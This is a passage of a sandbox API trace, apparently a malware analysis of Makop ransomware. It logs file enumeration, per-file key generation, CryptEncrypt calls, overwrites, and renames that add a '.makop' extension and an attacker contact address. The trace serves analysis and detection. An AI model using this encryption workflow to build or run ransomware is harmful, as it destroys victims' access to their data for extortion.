lpOverlapped=0x0) returned 1 [0121.574] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.574] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.574] GetProcessHeap () returned 0x48a0000 [0121.574] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.574] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.575] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.575] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.575] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.575] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.575] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.575] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.575] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.576] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.576] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.576] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.576] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x258c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x258c, lpOverlapped=0x0) returned 1 [0121.577] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2590, dwBufLen=0x2590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2590) returned 1 [0121.577] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.577] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2590, lpOverlapped=0x0) returned 1 [0121.578] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.578] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.578] SetEndOfFile (hFile=0xf0) returned 1 [0121.584] GetProcessHeap () returned 0x48a0000 [0121.584] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.584] GetProcessHeap () returned 0x48a0000 [0121.585] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.585] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.586] CloseHandle (hObject=0xf0) returned 1 [0121.586] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1 [0121.587] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0121.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.587] GetProcessHeap () returned 0x48a0000 [0121.587] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.587] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.587] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.588] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.592] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.592] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.592] GetProcessHeap () returned 0x48a0000 [0121.592] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.592] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.592] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.592] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.593] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.593] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.593] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.593] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1788, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1788, lpOverlapped=0x0) returned 1 [0121.594] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1790, dwBufLen=0x1790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1790) returned 1 [0121.595] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.595] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1790, lpOverlapped=0x0) returned 1 [0121.595] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.595] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.595] SetEndOfFile (hFile=0xf0) returned 1 [0121.607] GetProcessHeap () returned 0x48a0000 [0121.607] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.607] GetProcessHeap () returned 0x48a0000 [0121.607] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.607] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.608] CloseHandle (hObject=0xf0) returned 1 [0121.608] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1 [0121.608] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0121.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.609] GetProcessHeap () returned 0x48a0000 [0121.609] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.609] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.609] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.609] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.613] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.613] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.613] GetProcessHeap () returned 0x48a0000 [0121.613] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.613] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.613] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.613] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.614] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.614] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.614] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.614] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.614] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.615] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.615] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.615] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.615] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1374, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1374, lpOverlapped=0x0) returned 1 [0121.616] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1380, dwBufLen=0x1380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1380) returned 1 [0121.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.616] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1380, lpOverlapped=0x0) returned 1 [0121.617] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.617] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.617] SetEndOfFile (hFile=0xf0) returned 1 [0121.623] GetProcessHeap () returned 0x48a0000 [0121.623] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.623] GetProcessHeap () returned 0x48a0000 [0121.623] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.623] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.624] CloseHandle (hObject=0xf0) returned 1 [0121.624] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1 [0121.624] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0121.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.627] GetProcessHeap () returned 0x48a0000 [0121.627] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.627] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.627] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.627] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.627] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.627] GetProcessHeap () returned 0x48a0000 [0121.627] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.627] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.627] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.627] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.633] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.633] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.633] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.633] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.634] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.634] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.634] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.634] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbe0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbe0, lpOverlapped=0x0) returned 1 [0121.634] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbe0) returned 1 [0121.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.634] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbe0, lpOverlapped=0x0) returned 1 [0121.634] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.634] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.635] SetEndOfFile (hFile=0xf0) returned 1 [0121.641] GetProcessHeap () returned 0x48a0000 [0121.641] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.641] GetProcessHeap () returned 0x48a0000 [0121.641] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.641] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.642] CloseHandle (hObject=0xf0) returned 1 [0121.642] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1 [0121.642] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0121.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.643] GetProcessHeap () returned 0x48a0000 [0121.643] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.643] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.643] SetFilePointerEx 